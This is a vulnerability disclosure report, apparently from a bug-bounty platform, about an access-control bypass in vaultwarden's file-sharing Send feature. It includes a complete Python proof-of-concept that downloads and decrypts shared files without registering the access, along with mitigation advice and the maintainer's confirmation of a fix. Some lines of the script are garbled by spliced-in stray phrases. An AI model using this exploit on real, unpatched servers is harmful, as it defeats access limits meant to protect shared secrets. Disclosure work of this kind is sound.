Improper Access Control in dani-garcia/vaultwarden
Reported on
Jun 25th 2021
✍️ Description
Vaultwarden allows users to share files and texts securely with anyone. This feature enables the user to control the number of accesses to a file or text and also the expiration date.
A person, to retrieve one of these files, needs to access the share link in a browser. This link respects the following structure {HOST}#/send/{SHARE ID}/{DECRYPTION KEY}
(Endpoint 1). The browser will then retrieve file details using the {SHARE ID}
(Endpoint 2 - /api/sends/access/{SHARE ID}
), in the server response, among other things, we can encounter two IDs, {OBJECT ID}
and {FILE ID}
.
When the user wants to download a file, the browser makes a new request to retrieve the file location in the server (Endpoint 3 - /api/sends/{OBJECT ID}/access/file/{FILE ID}
). On the server-side, this request is used to control the number of accesses to the file, by incrementing a counter. The file is then downloaded using the location that retrieved from Endpoint 3 and then the file is deciphered in the client-side.
The file location in the server has the following structure {HOST}//sends/{OBJECT ID}/{FILE ID}
, so this path is predictable.
An attacker, since Endpoint 2, has all information that it's required to download and decipher the file. Thus, he doesn't need to make a request to the Endpoint 3, and therefore, his access to the file in not registered.
🕵️♂️ Proof of Concept
The PoC below allows an attacker to retrieve a file without being logged in the server.
To run this PoC, you need two external libraries, requests
and pycryptodome
.
#!/usr/bin/python3
from Crypto.Protocol.KDF import PBKDF2, HKDF
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
from base64 import b64encode, b64decode
from re import sub
from requests import NullHandler, get, post
from argparse import ArgumentParser
def fromUrlB64ToB64(urlB64Str: bytes) -> bytes:
out = sub(r'_','/',sub(r'-','+',urlB64Str))
r = len(out) % 4
if r == 2:
out += "=="
elif r == 3:
out += "="
elif r == 0:
pass
else:
print("Invalid key")
exit(1)
return out
def generate_password(p: bytes, keyArray: bytes):
return b64encode(PBKDF2(p,keyArray, 32, 100000, hmac_hash_module=SHA256))
def decrypt_content(content: bytes, keyArray: bytes) -> bytes:
ks = HKDF(keyArray, 32,b'bitwarden-send', SHA256 ,context=b'send')
assert content[0] == 2
assert len(content) > 49
#AesCbc256_HmacSha256_B64
ivBytes = content[1:17]
macBytes = content[17: 49]
ctBytes = content[49:]
cipher = AES.new(ks, AES.MODE_CBC, iv=ivBytes)
plaintext = cipher.decrypt(ctBytes)
return plaintext
def retrieve_parameters(base_url,share_id, passw=None):
burp0_url = base_url + "api/sends/access/" + share_id
burp0_json={"password": passw}
resp = post(burp0_url, json=burp0_json)
if resp.status_code != 200:
raise Exception("File doesn't exist or already expired")
d = resp.json()
return d['Id'], d['File']['Id']
def main():
parser = ArgumentParser(description='Download file without been logged')
parser.add_arallows an attacker to download a file gument("-u", "--share_url", type=str, help='Share url', required=True)
parser.add_argument("-p", "--password", type=str, help='Access password', default=None)
args = parser.parse_args()
share_url = args.share_url
key = share_url.split("/")[-1]
passw = args.password
share_id = share_url.split("/")[-2]
base_url = share_url.split("#/send")[0]
keyArray = b64decode(fromUrlB64ToB64(key))
a1 = None
a2 = Noneallows an attacker to download a file
if passw is not None:
a1, a2 = retrieve_parameters(base_url, share_id, generate_password(passw, keyArray).decode())
else:
a1, a2 = retrieve_parameters(base_url, share_id)
resu = get(base_url+"/sends/"+a1+"/"+a2, stream=True)
print(decrypt_content(resu.raw.read(),keyArray).decode())
if __name__=="__main__":
main()
💥 Impact
This vulnerability enables an attacker to bypass the access policy. Imagine that we create a share that only allows the user to download the file one time. If an attacker access to this link before the real recipient, he can download the file and not be detected.
Besides this, if the link has already expired or has been disabled and the attacker knows the {OBJECT ID}
and {FILE ID}
(from any other means that not Endpoint 2. because in that case the Endpoint 2 will answer with a 404), he can still retrieve the file.
Note: This vulnerability only affects files that are shared and not text.
Mitigation
Add an access token that it's checked when the file is downloaded and can only be used one time. This access token would be only known in the Endpoint 3, to assure the user goes there. This is the mechanism used by the Bitwarden server from 8bit Solutions LLC to mitigate this risk.
Occurrences
Okay, this is a valid vulnerability, so I've fixed it in commit https://github.com/dani-garcia/vaultwarden/commit/2cd17fe7afeaef2a29787999b1cb48a512811571 using a similar aproach as you describe, but instead of using one-use tokens, I've used very short lived tokens (2 minutes).
This should fix the main vulnerability which could allow the users to skip the access control to the file entirely.
It leaves the user the posibility to use the generated link multiple times during that two minute timeframe, but the user could always clone the file themselves locally anyway.